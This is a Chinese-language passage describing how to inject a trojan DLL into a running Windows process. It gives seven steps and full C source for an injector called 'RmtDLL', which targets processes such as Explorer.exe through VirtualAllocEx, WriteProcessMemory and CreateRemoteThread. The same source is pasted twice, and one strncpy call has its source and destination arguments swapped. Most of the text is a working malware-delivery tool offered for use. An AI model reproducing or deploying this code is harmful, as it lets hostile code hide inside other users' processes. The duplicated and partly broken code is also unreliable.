(1)取得宿主进程(即要注入木马的进程)的进程ID dwRemoteProcessId;
(2)取得DLL的完全路径,并将其转换为宽字符模式pszLibFileName;
(3)利用Windows API OpenProcess打开宿主进程,应该开启下列选项:
a.PROCESS_CREATE_THREAD:允许在宿主进程中创建线程;
b.PROCESS_VM_OPERATION:允许对宿主进程中进行VM操作;
c.PROCESS_VM_WRITE:允许对宿主进程进行VM写。
(4)利用Windows API VirtualAllocEx函数在远程线程的VM中分配DLL完整路径宽字符所需的存储空间,并利用Windows API WriteProcessMemory函数将完整路径写入该存储空间;
(5)利用Windows API GetProcAddress取得Kernel32模块中LoadLibraryW函数的地址,这个函数将作为随后将启动的远程线程的入口函数;
(6)利用Windows API CreateRemoteThread启动远程线程,将LoadLibraryW的地址作为远程线程的入口函数地址,将宿主进程里被分配空间中存储的完整DLL路径作为线程入口函数的参数以另其启动指定的DLL;
(7)清理现场。
#include
<
windows.h
>
#include < stdlib.h >
#include < stdio.h >
#include < psapi.h >
DWORD ProcessToPID( char * ); // 将进程名转换为PID的函数
void CheckError ( int , int , char * ); // 出错处理函数
void usage ( char * ); // 使用说明函数
PDWORD pdwThreadId;
HANDLE hRemoteThread, hRemoteProcess;
DWORD fdwCreate, dwStackSize, dwRemoteProcessId;
PWSTR pszLibFileRemote = NULL;
void main( int argc, char ** argv)
... {
int iReturnCode;
char lpDllFullPathName[MAX_PATH];
WCHAR pszLibFileName[MAX_PATH]=...{0};
//处理命令行参数
if (argc!=3) usage("Parametes number incorrect!");
else...{
//如果输入的是进程名,则转化为PID
if(isdigit(*argv[1])) dwRemoteProcessId = atoi(argv[1]);
else dwRemoteProcessId = ProcessToPID(argv[1]);
//判断输入的DLL文件名是否是绝对路径
if(strstr(argv[2],":/")!=NULL)
strncpy(argv[2], lpDllFullPathName, MAX_PATH);
else
...{ //取得当前目录,将相对路径转换成绝对路径
iReturnCode = GetCurrentDirectory(MAX_PATH, lpDllFullPathName);
CheckError(iReturnCode, 0, "GetCurrentDirectory");
strcat(lpDllFullPathName, "/");
strcat(lpDllFullPathName, argv[2]);
printf("Convert DLL filename to FullPathName: %s ",
lpDllFullPathName);
}
//判断DLL文件是否存在
iReturnCode=(int)_lopen(lpDllFullPathName, OF_READ);
CheckError(iReturnCode, HFILE_ERROR, "DLL File not Exist");
//将DLL文件全路径的ANSI码转换成UNICODE码
iReturnCode = MultiByteToWideChar(CP_ACP, MB_ERR_INVALID_CHARS,
lpDllFullPathName, strlen(lpDllFullPathName),
pszLibFileName, MAX_PATH);
CheckError(iReturnCode, 0, "MultByteToWideChar");
//输出最后的操作参数
wprintf(L"Will inject %s", pszLibFileName);
printf(" into process:%s PID=%d ", argv[1], dwRemoteProcessId);
}
//打开远程进程
hRemoteProcess = OpenProcess(PROCESS_CREATE_THREAD | //允许创建线程
PROCESS_VM_OPERATION | //允许VM操作
PROCESS_VM_WRITE, //允许VM写
FALSE, dwRemoteProcessId );
CheckError( (int) hRemoteProcess, NULL,
"Remote Process not Exist or Access Denied!");
//计算DLL路径名需要的内存空间
int cb = (1 + lstrlenW(pszLibFileName)) * sizeof(WCHAR);
pszLibFileRemote = (PWSTR) VirtualAllocEx( hRemoteProcess, NULL, cb,
MEM_COMMIT, PAGE_READWRITE);
CheckError((int)pszLibFileRemote, NULL, "VirtualAllocEx");
//将DLL的路径名复制到远程进程的内存空间
iReturnCode = WriteProcessMemory(hRemoteProcess,
pszLibFileRemote, (PVOID) pszLibFileName, cb, NULL);
CheckError(iReturnCode, false, "WriteProcessMemory");
//计算LoadLibraryW的入口地址
PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)
GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
CheckError((int)pfnStartAddr, NULL, "GetProcAddress");
//启动远程线程,通过远程线程调用用户的DLL文件
hRemoteThread = CreateRemoteThread( hRemoteProcess, NULL, 0, pfnStartAddr, pszLibFileRemote, 0, NULL);
CheckError((int)hRemoteThread, NULL, "Create Remote Thread");
//等待远程线程退出
WaitForSingleObject(hRemoteThread, INFINITE);
//清场处理
if (pszLibFileRemote != NULL)
VirtualFreeEx(hRemoteProcess, pszLibFileRemote, 0, MEM_RELEASE);
if (hRemoteThread != NULL) CloseHandle(hRemoteThread );
if (hRemoteProcess!= NULL) CloseHandle(hRemoteProcess);
} // end of main()
// 将进程名转换为PID的函数
DWORD ProcessToPID( char * InputProcessName)
... {
DWORD aProcesses[1024], cbNeeded, cProcesses;
unsigned int i;
HANDLE hProcess;
HMODULE hMod;
char szProcessName[MAX_PATH] = "UnknownProcess";
// 计算目前有多少进程, aProcesses[]用来存放有效的进程PIDs
if ( !EnumProcesses( aProcesses, sizeof(aProcesses), &cbNeeded ) ) return 0;
cProcesses = cbNeeded / sizeof(DWORD);
// 按有效的PID遍历所有的进程
for ( i = 0; i < cProcesses; i++ )
...{
// 打开特定PID的进程
hProcess = OpenProcess( PROCESS_QUERY_INFORMATION |PROCESS_VM_READ,
FALSE, aProcesses[i]);
// 取得特定PID的进程名
if ( hProcess )
...{
if ( EnumProcessModules( hProcess, &hMod, sizeof(hMod), &cbNeeded) )
...{
GetModuleBaseName( hProcess, hMod,
szProcessName, sizeof(szProcessName) );
//将取得的进程名与输入的进程名比较,如相同则返回进程PID
if(!_stricmp(szProcessName, InputProcessName))...{
CloseHandle( hProcess );
return aProcesses[i];
}
}
}//end of if ( hProcess )
}//end of for
//没有找到相应的进程名,返回0
CloseHandle( hProcess );
return 0;
} // end of ProcessToPID
// 错误处理函数CheckError()
// 如果iReturnCode等于iErrorCode,则输出pErrorMsg并退出
void CheckError( int iReturnCode, int iErrorCode, char * pErrorMsg)
... {
if(iReturnCode==iErrorCode) ...{
printf("%s Error:%d ", pErrorMsg, GetLastError());
//清场处理
if (pszLibFileRemote != NULL)
VirtualFreeEx(hRemoteProcess, pszLibFileRemote, 0, MEM_RELEASE);
if (hRemoteThread != NULL) CloseHandle(hRemoteThread );
if (hRemoteProcess!= NULL) CloseHandle(hRemoteProcess);
exit(0);
}
} // end of CheckError()
// 使用方法说明函数usage()
void usage( char * pErrorMsg)
... {
printf("%s ",pErrorMsg);
printf(" Remote Process DLL by Shotgun ");
printf(" This program can inject a DLL into remote process ");
printf("Email: ");
printf(" Shotgun@Xici.Net ");
printf("HomePage: ");
printf(" http://It.Xici.Net ");
printf(" http://www.Patching.Net ");
printf("USAGE: ");
printf(" RmtDLL.exe PID[|ProcessName] DLLFullPathName ");
printf("Example: ");
printf(" RmtDLL.exe 1024 C:/WINNT/System32/MyDLL.dll ");
printf(" RmtDLL.exe Explorer.exe C:/MyDLL.dll ");
exit(0);
} // end of usage()
#include < stdlib.h >
#include < stdio.h >
#include < psapi.h >
DWORD ProcessToPID( char * ); // 将进程名转换为PID的函数
void CheckError ( int , int , char * ); // 出错处理函数
void usage ( char * ); // 使用说明函数
PDWORD pdwThreadId;
HANDLE hRemoteThread, hRemoteProcess;
DWORD fdwCreate, dwStackSize, dwRemoteProcessId;
PWSTR pszLibFileRemote = NULL;
void main( int argc, char ** argv)
... {
int iReturnCode;
char lpDllFullPathName[MAX_PATH];
WCHAR pszLibFileName[MAX_PATH]=...{0};
//处理命令行参数
if (argc!=3) usage("Parametes number incorrect!");
else...{
//如果输入的是进程名,则转化为PID
if(isdigit(*argv[1])) dwRemoteProcessId = atoi(argv[1]);
else dwRemoteProcessId = ProcessToPID(argv[1]);
//判断输入的DLL文件名是否是绝对路径
if(strstr(argv[2],":/")!=NULL)
strncpy(argv[2], lpDllFullPathName, MAX_PATH);
else
...{ //取得当前目录,将相对路径转换成绝对路径
iReturnCode = GetCurrentDirectory(MAX_PATH, lpDllFullPathName);
CheckError(iReturnCode, 0, "GetCurrentDirectory");
strcat(lpDllFullPathName, "/");
strcat(lpDllFullPathName, argv[2]);
printf("Convert DLL filename to FullPathName: %s ",
lpDllFullPathName);
}
//判断DLL文件是否存在
iReturnCode=(int)_lopen(lpDllFullPathName, OF_READ);
CheckError(iReturnCode, HFILE_ERROR, "DLL File not Exist");
//将DLL文件全路径的ANSI码转换成UNICODE码
iReturnCode = MultiByteToWideChar(CP_ACP, MB_ERR_INVALID_CHARS,
lpDllFullPathName, strlen(lpDllFullPathName),
pszLibFileName, MAX_PATH);
CheckError(iReturnCode, 0, "MultByteToWideChar");
//输出最后的操作参数
wprintf(L"Will inject %s", pszLibFileName);
printf(" into process:%s PID=%d ", argv[1], dwRemoteProcessId);
}
//打开远程进程
hRemoteProcess = OpenProcess(PROCESS_CREATE_THREAD | //允许创建线程
PROCESS_VM_OPERATION | //允许VM操作
PROCESS_VM_WRITE, //允许VM写
FALSE, dwRemoteProcessId );
CheckError( (int) hRemoteProcess, NULL,
"Remote Process not Exist or Access Denied!");
//计算DLL路径名需要的内存空间
int cb = (1 + lstrlenW(pszLibFileName)) * sizeof(WCHAR);
pszLibFileRemote = (PWSTR) VirtualAllocEx( hRemoteProcess, NULL, cb,
MEM_COMMIT, PAGE_READWRITE);
CheckError((int)pszLibFileRemote, NULL, "VirtualAllocEx");
//将DLL的路径名复制到远程进程的内存空间
iReturnCode = WriteProcessMemory(hRemoteProcess,
pszLibFileRemote, (PVOID) pszLibFileName, cb, NULL);
CheckError(iReturnCode, false, "WriteProcessMemory");
//计算LoadLibraryW的入口地址
PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)
GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
CheckError((int)pfnStartAddr, NULL, "GetProcAddress");
//启动远程线程,通过远程线程调用用户的DLL文件
hRemoteThread = CreateRemoteThread( hRemoteProcess, NULL, 0, pfnStartAddr, pszLibFileRemote, 0, NULL);
CheckError((int)hRemoteThread, NULL, "Create Remote Thread");
//等待远程线程退出
WaitForSingleObject(hRemoteThread, INFINITE);
//清场处理
if (pszLibFileRemote != NULL)
VirtualFreeEx(hRemoteProcess, pszLibFileRemote, 0, MEM_RELEASE);
if (hRemoteThread != NULL) CloseHandle(hRemoteThread );
if (hRemoteProcess!= NULL) CloseHandle(hRemoteProcess);
} // end of main()
// 将进程名转换为PID的函数
DWORD ProcessToPID( char * InputProcessName)
... {
DWORD aProcesses[1024], cbNeeded, cProcesses;
unsigned int i;
HANDLE hProcess;
HMODULE hMod;
char szProcessName[MAX_PATH] = "UnknownProcess";
// 计算目前有多少进程, aProcesses[]用来存放有效的进程PIDs
if ( !EnumProcesses( aProcesses, sizeof(aProcesses), &cbNeeded ) ) return 0;
cProcesses = cbNeeded / sizeof(DWORD);
// 按有效的PID遍历所有的进程
for ( i = 0; i < cProcesses; i++ )
...{
// 打开特定PID的进程
hProcess = OpenProcess( PROCESS_QUERY_INFORMATION |PROCESS_VM_READ,
FALSE, aProcesses[i]);
// 取得特定PID的进程名
if ( hProcess )
...{
if ( EnumProcessModules( hProcess, &hMod, sizeof(hMod), &cbNeeded) )
...{
GetModuleBaseName( hProcess, hMod,
szProcessName, sizeof(szProcessName) );
//将取得的进程名与输入的进程名比较,如相同则返回进程PID
if(!_stricmp(szProcessName, InputProcessName))...{
CloseHandle( hProcess );
return aProcesses[i];
}
}
}//end of if ( hProcess )
}//end of for
//没有找到相应的进程名,返回0
CloseHandle( hProcess );
return 0;
} // end of ProcessToPID
// 错误处理函数CheckError()
// 如果iReturnCode等于iErrorCode,则输出pErrorMsg并退出
void CheckError( int iReturnCode, int iErrorCode, char * pErrorMsg)
... {
if(iReturnCode==iErrorCode) ...{
printf("%s Error:%d ", pErrorMsg, GetLastError());
//清场处理
if (pszLibFileRemote != NULL)
VirtualFreeEx(hRemoteProcess, pszLibFileRemote, 0, MEM_RELEASE);
if (hRemoteThread != NULL) CloseHandle(hRemoteThread );
if (hRemoteProcess!= NULL) CloseHandle(hRemoteProcess);
exit(0);
}
} // end of CheckError()
// 使用方法说明函数usage()
void usage( char * pErrorMsg)
... {
printf("%s ",pErrorMsg);
printf(" Remote Process DLL by Shotgun ");
printf(" This program can inject a DLL into remote process ");
printf("Email: ");
printf(" Shotgun@Xici.Net ");
printf("HomePage: ");
printf(" http://It.Xici.Net ");
printf(" http://www.Patching.Net ");
printf("USAGE: ");
printf(" RmtDLL.exe PID[|ProcessName] DLLFullPathName ");
printf("Example: ");
printf(" RmtDLL.exe 1024 C:/WINNT/System32/MyDLL.dll ");
printf(" RmtDLL.exe Explorer.exe C:/MyDLL.dll ");
exit(0);
} // end of usage()